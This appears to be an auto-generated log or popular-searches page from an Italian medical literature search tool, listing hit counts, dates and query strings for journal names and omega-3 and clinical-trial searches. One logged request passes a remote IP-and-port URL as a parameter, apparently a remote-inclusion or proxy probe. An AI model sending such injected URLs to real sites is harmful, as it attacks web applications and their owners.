68: : 6-Set-10 11:28: /medasq.php?z=Metab+Brain+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
68: : 7-Set-10 20:40: /medasq.php?z=Forum+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals+(200+ok)+ACCEPTED
68: : 3-Set-10 05:14: /medasq.php?z=Ric+Clin+Lab&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
68: : 19-Ago-10 04:40: /medasq.php?z=Clin+Cardiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
68: : 31-Ago-10 04:13: /medasq.php?z=Cas+Lek+Cesk&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
68: : 18-Ago-10 13:26: /medasq.php?z=Mol+Cell+Proteomics&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
68: : 29-Ago-10 08:40: /medasq.php?z=Semin+Nephrol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
68: : 17-Ago-10 08:30: /medasq.php?z=Curr+Drug+Targets&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
67: : 21-Ago-10 22:22: /medasq.php?z=Semin+Ophthalmol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
67: : 1-Set-10 22:11: /medasq.php?z=Arch+Gen+Psychiatry&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
67: : 15-Ago-10 09:00: /medasq.php?z=J Urol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
67: : 1-Set-10 16:42: /medasq.php?z=(j androl [ta] OR int j androl [ta] OR andrologia [ta] OR arch androl [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
67: : 5-Set-10 09:23: /medasq.php?z=Circ+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
67: : 28-Ago-10 11:35: /medasq.php?z=Farmakol+Toksikol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
67: : 24-Ago-10 16:27: /medasq.php?z=Kardiologiia&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
67: : 3-Set-10 02:55: /medasq.php?z=Age+Ageing&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
66: : 24-Ago-10 04:08: /medasq.php?z=Front+Biosci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
66: : 3-Set-10 00:50: /medasq.php?z=J+Androl&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
66: : 5-Set-10 06:41: /medasq.php?z=Br+J+Obstet+Gynaecol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
66: : 3-Set-10 08:28: /medasq.php?z=Altern+Med+Rev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
66: : 13-Ago-10 11:08: /medasq.php?z=Arch+Physiol+Biochem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
65: : 27-Ago-10 19:28: /medasq.php?z=Ren+Fail&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
65: : 2-Set-10 01:45: /medasq.php?z=(am j clin nutr [ta] OR j nutr [ta] OR br j nutr [ta] OR jpen j parenter enteral nutr [ta] OR eur j clin nutr [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
65: : 16-Ago-10 03:44: /medasq.php?z=Dig+Dis+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
65: : 28-Ago-10 16:10: /medasq.php?z=J+Alzheimers+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
65: : 18-Ago-10 08:52: /medasq.php?z=BMC+Anesthesiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
65: : 17-Ago-10 22:01: /medasq.php?z=Prog+Cardiovasc+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
65: : 4-Set-10 10:18: /medasq.php?z=Ned+Tijdschr+Geneeskd&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
65: : 2-Giu-10 11:52: /medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen
65: : 1-Set-10 16:30: /medasq.php?z=Ann Med&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
64: : 14-Ago-10 22:14: /medasq.php?z=Eur+J+Heart+Fail&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
64: : 20-Ago-10 12:05: /medasq.php?z=Med+Hypotheses&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
64: : 28-Ago-10 05:56: /medasq.php?z=G+Ital+Nefrol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
64: : 23-Ago-10 01:32: /medasq.php?z=Minerva+Ginecol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
64: : 21-Ago-10 10:46: /medasq.php?z=J+Child+Adolesc+Psychopharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
63: : 3-Set-10 08:08: /medasq.php?z=J Nutr&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
63: : 6-Set-10 09:34: /medasq.php?z=Heart&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
63: : 13-Ago-10 18:56: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (eye diseases [mesh] | eye disease* [all] | eye disorder* [all] | visual disease* [all] | visual disorder* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
63: : 13-Ago-10 20:42: /medasq.php?z=Cancer+Prev+Res+(Phila+Pa)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
63: : 27-Ago-10 00:37: /medasq.php?z=Dev+Neurosci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
62: : 6-Set-10 10:51: /medasq.php?z=Nutr+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
62: : 27-Ago-10 14:22: /medasq.php?z=Heart+Vessels&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
62: : 22-Ago-10 22:46: /medasq.php?z=J Gastroenterol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
62: : 3-Set-10 23:38: /medasq.php?z=Curr+Mol+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
62: : 3-Set-10 22:19: /medasq.php?z=Eur+J+Gastroenterol+Hepatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
62: : 18-Ago-10 04:24: /medasq.php?z=J+Physiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
62: : 18-Ago-10 09:48: /medasq.php?z=Vet J&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
62: : 3-Set-10 20:18: /medasq.php?z=Br+J+Gen+Pract&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
62: : 5-Set-10 11:00: /medasq.php?z=Cancer Res&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
61: : 20-Ago-10 01:14: /medasq.php?z=Life+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
61: : 3-Set-10 05:49: /medasq.php?z=Minerva+Dietol+Gastroenterol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
61: : 25-Ago-10 20:57: /medasq.php?z=(fatty+acids%252C+omega+3+%255Bmesh%255D+%257C+omega-3+%255Ball%255D+%257C+eicosapentaen*+%255Ball%255D+%257C+docosahexaen*+%255Ball%255D)+%2526++(hyperlipidemia+%255Bmesh%255D+%257C+hyperlipid*+%255Ball%255D+%257C+hyperlipem*+%255Ball%255D+%257C+hyperlipaem*+%255Ball%255D+%257C+hypercholester*+%255Ball%255D+%257C+hypertriglycerid*+%255Ball%255D)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
61: : 7-Set-10 23:41: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (cardiovascular diseases [mesh] | cardiovascular disease* [all] | cardiovascular disorder* [all] | heart disease* [all] | heart disorder* [all] | vascular disease* [all] | vascular disorder* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
61: : 7-Set-10 19:31: /medasq.php?amp;z=sodium+oxybate+[mesh]+and+alcohol-related+disorders+[mesh]&abstract=0&quanti=50&highlight=2&daevidenziare=oxybate+alcohol&dovesiamo=0&azione=Show
60: : 18-Ago-10 04:15: /medasq.php?z=Physiol+Behav&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
60: : 7-Set-10 12:34: /medasq.php?z=Minerva+Endocrinol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
60: : 30-Ago-10 21:22: /medasq.php?z=Phys+Sportsmed&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
60: : 1-Set-10 09:59: /medasq.php?z=Early+Hum+Dev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
60: : 25-Ago-10 20:52: /medasq.php?z=(drugs [ta] OR clin pharmacol ther [ta] OR pharmacol ther [ta] OR j clin psychopharmacol [ta] OR clin pharmacokinet [ta] OR psychopharmacology [ta] OR br j clin pharmacol [ta] OR ther drug monit [ta] ) AND ( human [mesh] )&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
60: : 5-Set-10 22:45: /medasq.php?z=Clin+Exp+Rheumatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
60: : 16-Ago-10 10:48: /medasq.php?z=Curr+Opin+Anaesthesiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
60: : 22-Ago-10 03:38: /medasq.php?z=Eur+J+Neurosci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
60: : 4-Set-10 01:36: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (neoplasms [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
60: : 7-Set-10 04:33: /medasq.php?z=Yakugaku+Zasshi&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
60: : 4-Set-10 07:11: /medasq.php?z=Expert+Opin+Investig+Drugs&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
59: : 26-Ago-10 02:02: /medasq.php?z=Consult+Pharm&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
59: : 31-Ago-10 21:40: /medasq.php?z=Nutr J&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
59: : 23-Ago-10 14:29: /medasq.php?z=Immunopharmacology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
59: : 19-Ago-10 00:27: /medasq.php?z=J+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Jou
59: : 31-Ago-10 09:40: /medasq.php?z=J+Orthop+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
59: : 20-Ago-10 14:27: /medasq.php?z=Eur+J+Clin+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
59: : 13-Ago-10 00:14: /medasq.php?z=Acta+Cardiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
59: : 28-Ago-10 10:10: /medasq.php?z=Epilepsia&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
59: : 6-Set-10 11:24: /medasq.php?z=Ann Med&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
59: : 18-Ago-10 04:14: /medasq.php?z=Neurol+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
58: : 30-Ago-10 12:46: /medasq.php?z=J+Am+Acad+Dermatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
58: : 1-Set-10 15:15: /medasq.php?z=Br+J+Sports+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
58: : 27-Ago-10 23:23: /medasq.php?z=Subcell+Biochem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
58: : 7-Set-10 04:58: /medasq.php?z=Obstet+Gynecol+Clin+North+Am&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
58: : 29-Ago-10 19:36: /medasq.php?z=Curr+Neurol+Neurosci+Rep&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
58: : 25-Ago-10 20:57: /medasq.php?z=Int+J+Circumpolar+Health&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
58: : 2-Set-10 20:06: /medasq.php?z=Nutr+Hosp&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
58: : 1-Set-10 10:19: /medasq.php?z=Pediatrics&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
57: : 7-Set-10 14:30: /medasq.php?z=Arch+Otolaryngol+Head+Neck+Surg&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
57: : 5-Set-10 13:57: /medasq.php?z=Angiology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
57: : 29-Ago-10 06:03: /medasq.php?z=Neurosignals&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
57: : 3-Set-10 17:12: /medasq.php?z=J+Inherit+Metab+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
57: : 1-Set-10 06:36: /medasq.php?z=Yonsei+Med+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
57: : 27-Ago-10 12:58: /medasq.php?z=Lancet+Neurol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
57: : 6-Set-10 20:40: /medasq.php?z=J+Forensic+Leg+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
56: : 26-Ago-10 14:20: /medasq.php?z=Vet+Dermatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
56: : 25-Ago-10 20:56: /medasq.php?z=Semin+Arthritis+Rheum&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
56: : 25-Ago-10 05:49: /medasq.php?z=FASEB+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
56: : 6-Set-10 17:42: /medasq.php?z=Int+J+Oncol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
56: : 7-Set-10 19:39: /medasq.php?z=J Pediatr&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
56: : 31-Ago-10 23:33: /medasq.php?z=Vasc+Health+Risk+Manag&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
55: : 6-Set-10 06:33: /medasq.php?z=(j pediatr [ta] OR pediatr res [ta] OR pediatrics [ta] OR arch dis child [ta] OR clin pediatr phila [ta] OR j pediatr gastroenterol nutr [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
55: : 27-Ago-10 09:21: /medasq.php?z=Biochimie&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
55: : 14-Ago-10 16:34: /medasq.php?z=Metabolism&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
55: : 26-Ago-10 17:59: /medasq.php?z=Prog+Lipid+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
55: : 5-Set-10 09:07: /medasq.php?z=Laryngorhinootologie&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
55: : 6-Set-10 12:24: /medasq.php?z=Synapse&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
55: : 15-Ago-10 08:48: /medasq.php?z=Can+J+Diet+Pract+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
55: : 27-Ott-09 20:21: /medasq.php?z=http://144.206.186.112:2666/index.html?
55: : 6-Set-10 11:47: /medasq.php?z=PLoS+One&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
54: : 25-Ago-10 20:48: /medasq.php?z=(am j respir crit care med [ta] OR eur respir j [ta] OR thorax [ta] OR chest [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
54: : 23-Ago-10 23:32: /medasq.php?z=Nat+Rev+Cardiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
54: : 17-Ago-10 13:29: /medasq.php?z=Clin+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
54: : 1-Set-10 06:39: /medasq.php?z=Vopr+Onkol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
53: : 5-Set-10 07:28: /medasq.php?z=Ann+Neurol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
53: : 7-Set-10 07:51: /medasq.php?z=Endocrinol+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
53: : 18-Ago-10 20:27: /medasq.php?z=Vascul+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
53: : 19-Ago-10 22:53: /medasq.php?z=Transplantation&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
53: : 4-Set-10 09:40: /medasq.php?z=(arch gen psychiatry [ta] OR am j psychiatry [ta] OR schizophr bull [ta] OR j clin psychiatry [ta] OR br j psychiatry [ta] OR psychosom med [ta] OR psychol med [ta] OR biol psychiatry [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
53: : 16-Ago-10 09:20: /medasq.php?z=Neurotoxicology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
53: : 5-Set-10 07:02: /medasq.php?z=Psychol+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
53: : 14-Ago-10 15:35: /medasq.php?z=PLoS+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
53: : 3-Set-10 15:34: /medasq.php?z=Wei+Sheng+Yan+Jiu&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
53: : 7-Set-10 18:19: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 cardiovascular diseases [majr&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
53: : 4-Set-10 18:11: /medasq.php?z=Cancer+Lett&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
53: : 18-Ago-10 02:28: /medasq.php?z=Hypertens+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
53: : 2-Set-10 09:43: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 hyperlipidemia [majr&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
52: : 31-Ago-10 00:00: /medasq.php?z=Prim+Care+Respir+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
52: : 6-Set-10 02:34: /medasq.php?z=BMC+Gastroenterol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
52: : 18-Ago-10 20:27: /medasq.php?z=Neuro+Endocrinol+Lett&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
52: : 18-Ago-10 20:27: /medasq.php?z=Brain+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
52: : 27-Ago-10 19:01: /medasq.php?z=Clin+Exp+Obstet+Gynecol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
52: : 25-Ago-10 20:59: /medasq.php?z=Acta+Neurol+Scand&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
52: : 4-Set-10 20:24: /medasq.php?z=(clin res [ta] OR lancet [ta] OR ann intern med [ta] OR jama [ta] OR br med j [ta] OR arch intern med [ta] OR am j med [ta] OR am j clin nutr [ta] OR annu rev med [ta] OR med care [ta] OR ann med [ta] OR can med assoc j [ta] OR med j aust [ta] OR clin invest med [ta] OR j gen intern med [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
52: : 14-Ago-10 14:37: /medasq.php?z=Pflugers+Arch&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
52: : 23-Ago-10 11:25: /medasq.php?z=Inflammopharmacology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
52: : 25-Ago-10 20:53: /medasq.php?z=(arch otolaryngol head neck surg [ta] OR ann otol rhinol laryngol [ta] OR acta otolaryngol stockh [ta] OR clin otolaryngol [ta] OR orl j otorhinolaryngol relat spec [ta] OR j laryngol otol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
51: : 16-Ago-10 09:36: /medasq.php?z=Arch+Environ+Occup+Health&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
51: : 14-Ago-10 22:34: /medasq.php?z=Isr+Med+Assoc+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
51: : 30-Ago-10 10:24: /medasq.php?z=Metab+Eng&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
51: : 25-Ago-10 20:52: /medasq.php?z=Arthritis+Res+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
51: : 1-Set-10 12:00: /medasq.php?z=Melanoma+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
51: : 7-Set-10 12:46: /medasq.php?z=Neuropsychopharmacol+Hung&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
51: : 2-Set-10 21:45: /medasq.php?z=J+Am+Dent+Assoc&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
51: : 21-Ago-10 23:41: /medasq.php?z=Diabetes+Obes+Metab&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
50: : 7-Set-10 01:46: /medasq.php?z=Eur+J+Cardiovasc+Prev+Rehabil&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
50: : 5-Set-10 21:41: /medasq.php?z=Clin+Exp+Hypertens&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
50: : 28-Ago-10 10:46: /medasq.php?z=J+Exp+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
50: : 6-Set-10 22:43: /medasq.php?z=Proc+Soc+Exp+Biol+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
50: : 25-Ago-10 20:54: /medasq.php?z=(fatty+acids%252C+omega+3+%255Bmesh%255D+%257C+omega-3+%255Ball%255D+%257C+eicosapentaen*+%255Ball%255D+%257C+docosahexaen*+%255Ball%255D)+%2526+(nervous+system+diseases+%255Bmesh%255D+%257C+nervous+system+diseases+%255Ball%255D)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
50: : 2-Set-10 22:30: /medasq.php?z=Am J Med&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
50: : 15-Ago-10 19:37: /medasq.php?z=Endocrinology&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
50: : 19-Ago-10 21:40: /medasq.php?z=J+Agric+Food+Chem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
50: : 1-Apr-10 12:50: /medasq.php?z=sodium+oxybate+[mesh]+&+alcohol-related+disorders+[mesh]&abstract=0&quanti=50&highlight=2&daevidenziare=oxybate+alcohol&dovesiamo=0&azione=Show
50: : 19-Ago-10 14:40: /medasq.php?z=Neurosci+Lett&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
49: : 30-Ago-10 18:32: /medasq.php?z=(fatty acids%252C omega 3 %255Bmesh%255D %257C omega-3 %255Ball%255D %257C eicosapentaen* %255Ball%255D %257C docosahexaen* %255Ball%255D) &abstract=1&quanti=20&highlight=0&dovesiamo=6660&daevidenziare=&azione=Show&free=
49: : 4-Set-10 00:40: /medasq.php?z=J+Nutr+Elder&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
49: : 3-Set-10 05:04: /medasq.php?z=Cell+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
49: : 28-Ago-10 01:19: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (eye diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
49: : 26-Ago-10 05:55: /medasq.php?z=Am+J+Chin+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
49: : 28-Ago-10 01:23: /medasq.php?z=Ophthalmology&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
49: : 29-Ago-10 10:33: /medasq.php?z=Int+Rev+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
49: : 5-Set-10 16:55: /medasq.php?z=J+Pharmacobiodyn&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
49: : 16-Ago-10 08:21: /medasq.php?z=Congenit+Anom+(Kyoto)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
49: : 5-Set-10 14:22: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (nervous system diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
49: : 14-Ago-10 14:57: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 hypertension [majr&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
49: : 25-Ago-10 20:57: /medasq.php?z=CNS+Neurosci+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
49: : 15-Ago-10 19:33: /medasq.php?z=Behav+Neurosci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
